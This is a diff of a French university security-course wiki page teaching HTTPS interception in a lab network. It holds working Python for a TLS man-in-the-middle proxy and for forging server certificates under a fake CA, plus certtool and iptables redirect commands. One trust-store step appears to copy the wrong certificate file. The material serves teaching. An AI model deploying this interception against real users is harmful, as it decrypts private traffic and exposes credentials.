User Tools

Site Tools


Writing /net/www/auesnard/teaching/data/cache/2/245742cbedf2db2ddb0576e1f38a55e7.metadata failed
secres:https-interception
Writing /net/www/auesnard/teaching/data/cache/b/b917139305956507b1746900fb337322.xhtml failed

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
Last revisionBoth sides next revision
secres:https-interception [2017/04/12 09:09] – [Interception HTTPS] orelsecres:https-interception [2021/11/19 10:36] – [Documentation] orel
Line 1: Line 1:
 ====== Interception HTTPS ====== ====== Interception HTTPS ======
  
-Nous allons mettre en oeuvre le mécanisme d'interception HTTPS avec l'exemple d'un site we particulier : https://www.python.org. +Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur !
  
-Le code et la documentation du projet sont ici : https://gitlab.inria.fr/esnard/https-interception+ 
 +Considérons le réseau suivant : 
 + 
 + 
 +  Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr)   
 + 
 + 
 +=== Proxy SSL === 
 + 
 +Voici le code de notre proxy SSL : 
 + 
 +<code python sslproxy.py> 
 +#!/usr/bin/python3 
 +import socket 
 +import ssl 
 +import sys 
 +import time 
 +import datetime 
 +import os 
 + 
 +BUFSIZE = 4096 
 + 
 +# this certificate must be trusted by the client victim! 
 +FAKE_CA_CERT = "fake-ca-cert.pem"           
 +FAKE_CA_KEY = "fake-ca-key.pem" 
 + 
 +# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA 
 +FAKE_SERVER_CERT = "fake-server-cert.pem" 
 +FAKE_SERVER_KEY = "fake-server-key.pem" 
 + 
 +# actual CA certificate 
 +CA_CERT = "ca-cert.pem" 
 + 
 +######### MISC ######### 
 + 
 +def log_message(format, *args): 
 +    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args)) 
 + 
 +######### Main Serve Routine  ######### 
 + 
 +# handle one connection 
 +def serve(clientconn, clientaddr, serveraddr): 
 +    (serverhost, serverport) = serveraddr       # the actual server 
 +    (clienthost, clientport) = clientaddr       # the actual client 
 + 
 +    # wrap client connection with SSL context 
 +    clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) 
 +    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY) 
 +    clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True) 
 + 
 +    # connect to server with SSL context 
 +    serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 +    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH) 
 +    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...     
 +    servercontext.check_hostname = True 
 +    serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost) 
 + 
 +    try: 
 +        serverconnssl.connect(serveraddr) 
 +    except ssl.SSLError as e: 
 +        log_message("%s", e) 
 +        clientconnssl.close() 
 +        return 
 + 
 +    # start talking in SSL/TLS 
 +    sys.stdout.write("~~~~~ REQUEST ~~~~~\n"
 +    buffer = clientconnssl.recv(BUFSIZE) 
 +    sys.stdout.write("%s" % buffer.decode()) 
 +    serverconnssl.sendall(buffer) 
 +    sys.stdout.write("~~~~~ ANSWER ~~~~~\n"
 +    buffer = serverconnssl.recv(BUFSIZE) 
 +    sys.stdout.write("%s" % buffer.decode()) 
 +    clientconnssl.sendall(buffer) 
 +    buffer = serverconnssl.recv(BUFSIZE) 
 +    sys.stdout.write("%s" % buffer.decode()) 
 +    clientconnssl.sendall(buffer) 
 + 
 +    # close sockets 
 +    serverconnssl.close() 
 +    clientconnssl.close() 
 +    log_message('all connections closed'
 + 
 +######### Main Loop ######### 
 + 
 +def main(): 
 + 
 +    if len(sys.argv) != 4: 
 +        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n"
 +        sys.exit(1) 
 + 
 +    SERVERHOST = sys.argv[1] 
 +    SERVERPORT = int(sys.argv[2]) 
 +    PROXYHOST = '' 
 +    PROXYPORT = int(sys.argv[3]) 
 + 
 +    proxyaddr = (PROXYHOST, PROXYPORT) 
 +    serveraddr = (SERVERHOST, SERVERPORT) # the target server 
 + 
 +    # create proxy socket listening on PROXYPORT 
 +    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 +    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
 +    proxysocket.bind(proxyaddr) 
 +    proxysocket.listen() 
 + 
 +    # main loop 
 +    log_message('proxy listening on port: %d', PROXYPORT) 
 +    log_message('target server: %s', serveraddr) 
 + 
 +    while True: 
 +        try: 
 +            log_message("waiting new connection..."
 +            clientconn, clientaddr = proxysocket.accept() 
 +            serve(clientconn, clientaddr, serveraddr) 
 +        except KeyboardInterrupt: 
 +            log_message("shutting down!"
 +            proxysocket.close() 
 +            break 
 + 
 +######### Main Program  ######### 
 + 
 +main() 
 +</code> 
 + 
 +=== Génération des faux certificats === 
 + 
 +Commençons par générer un //fake CA// :  
 + 
 +  $ certtool --generate-privkey --outfile fake-ca-key.pem 
 +  $ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem 
 + 
 +Voici les réponses à donner strictement : 
 + 
 +  * La plupart des champs peuvent rester vides. 
 +  * Common name: FAKECA 
 +  * The certificate will expire in (days): 255   
 +  * Does the certificate belong to an authority? (y/N): y 
 +  * Will the certificate be used to sign other certificates? (y/N): y 
 +  * CRL signing: y 
 +  * All other extensions: NO (required) 
 + 
 +Pour afficher le contenu de son certificat : 
 + 
 +  $ certtool --infile fake-ca-cert.pem -i 
 + 
 +Générons maintenant le //fake// certifcat de notre serveur.  
 + 
 +   $ certtool --generate-privkey --outfile fake-server-key.pem 
 +   $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem 
 + 
 +Voici les réponses à donner strictement : 
 + 
 +  * La plupart des champs peuvent rester vides 
 +  * CN=nile.metal.fr 
 +  * DNSName=nile.metal.fr 
 +  * IP address=10.0.0.2 
 +  * The certificate will expire in (days): 255 
 +  * Will the certificate be used for signing (required for TLS)? (y/N): y 
 +  * Will the certificate be used for encryption (not required for TLS)? (y/N): y 
 + 
 +Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr : 
 + 
 +  ./gen-fake-cert.py nile.metal.fr 443 
 + 
 +<code python gen-fake-cert.py>   
 +#!/usr/bin/python3 
 +import socket 
 +import ssl 
 +import sys 
 +import pprint 
 +import OpenSSL  # deprecated ? 
 +import time 
 +import datetime 
 +import os 
 +import struct 
 + 
 +# this certificate must be trusted by the client victim! 
 +FAKE_CA_CERT = "fake-ca-cert.pem"           
 +FAKE_CA_KEY = "fake-ca-key.pem" 
 + 
 +# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA 
 +FAKE_SERVER_CERT = "fake-server-cert.pem" 
 +FAKE_SERVER_KEY = "fake-server-key.pem" 
 + 
 +######### MISC ######### 
 + 
 +def log_message(format, *args): 
 +    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args)) 
 + 
 +######### Certificate Tools ######### 
 + 
 +# cert input are assuming to be x509 
 + 
 +# save x509 cert file (PEM format) 
 +def save_cert(cert, path): 
 +    certfile = open(path, "wb"
 +    certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)) 
 +    certfile.close() 
 + 
 +# save private key file (PEM format) 
 +def save_key(key, path): 
 +    keyfile = open(path, "wb"
 +    keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)) 
 +    keyfile.close() 
 + 
 +def load_cert(path): 
 +    certfile = open(path, 'rt'
 +    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read()) 
 +    certfile.close() 
 +    return cert 
 + 
 +def load_key(path): 
 +    keyfile = open(path, 'rt'
 +    key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read()) 
 +    keyfile.close() 
 +    return key 
 + 
 +######### Generate Fake Certificate ######### 
 + 
 +def generate_fake_cert(cert, cacert, cakey): 
 + 
 +    # get CN & SAN from x509 cert 
 +    cn = cert.get_subject().CN 
 +    ext = None 
 +    for idx in range(cert.get_extension_count()): 
 +        ext = cert.get_extension(idx) 
 +        if(ext.get_short_name() == b'subjectAltName'): break 
 +    # if DEBUG: print("  * SAN = ", ext.get_data()) # in raw format (one should decode it...) 
 + 
 +    # create a key pair 
 +    fakekey = OpenSSL.crypto.PKey() 
 +    fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024) 
 + 
 +    # create a new x509 cert 
 +    fakecert = OpenSSL.crypto.X509()  # x509 format 
 +    fakecert.get_subject().CN = cn 
 +    fakecert.set_serial_number(int(time.time())) 
 +    fakecert.gmtime_adj_notBefore( 0 )             # not valid before today 
 +    fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years 
 +    fakecert.set_pubkey(fakekey) 
 +    fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions 
 + 
 +    # add subjectAltName X509 extension (SAN) 
 +    if ext: fakecert.add_extensions([ext]) 
 + 
 +    # set issuer and CA signature 
 +    fakecert.set_issuer(cacert.get_subject()) 
 +    fakecert.sign(cakey, 'sha1'
 +    fakecert.sign(cakey, 'sha256'
 + 
 +    return (fakecert, fakekey) 
 + 
 + 
 +######### Main Program  ######### 
 + 
 +if len(sys.argv) != 3: 
 +    sys.stderr.write("usage: sslproxy <server hostname> <server port>\n"
 +    sys.exit(1) 
 + 
 +SERVERHOST = sys.argv[1] 
 +SERVERPORT = int(sys.argv[2]) 
 +serveraddr = (SERVERHOST, SERVERPORT) # the target server 
 + 
 +# load CA cert & CA key (x509) 
 +fakecacert = load_cert(FAKE_CA_CERT) 
 +fakecakey = load_key(FAKE_CA_KEY) 
 + 
 +sslservercert = ssl.get_server_certificate(serveraddr) 
 +servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert) 
 +servercn = servercert.get_subject().CN 
 +log_message('Get certificate: %s', servercn) 
 + 
 +fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey) 
 +save_cert(fakeservercert, FAKE_SERVER_CERT) 
 +save_key(fakeserverkey, FAKE_SERVER_KEY) 
 +log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY) 
 +</code
 +   
 + 
 +=== Lancement du Proxy HTTPS === 
 + 
 +Lancement du proxy : 
 + 
 +  iptables -t nat -F 
 +  iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444 
 +  ./sslproxy.py nile.metal.fr 443 4444 
 + 
 +=== Mise en oeuvre avec un client === 
 + 
 +Sur le client : 
 + 
 +  wget -4 --ca-certificate=fake-ca-cert.pem https://nile.metal.fr 
 + 
 +Pour ajouter le //fake// CA dans le store du client, il faut faire : 
 + 
 +  cp ca-cert.pem ca-cert.crt # renommage 
 +  cp ca-cert.crt /usr/share/ca-certificates/mycert/ 
 +  dpkg-reconfigure ca-certificates 
 +   
 +Puis, il suffit de faire : 
 +   
 +  wget -4 https://nile.metal.fr 
 +   
 + 
 +Video de démo par A. Guermouche : https://www.youtube.com/watch?v=KURaBFMn4xg
  
 ==== Documentation ==== ==== Documentation ====
 +
 +Le code et la documentation du projet (version antérieure) sont ici : https://gitlab.inria.fr/esnard/https-interception 
  
 About HTTPS interception: About HTTPS interception:
secres/https-interception.txt · Last modified: 2024/03/18 15:06 by 127.0.0.1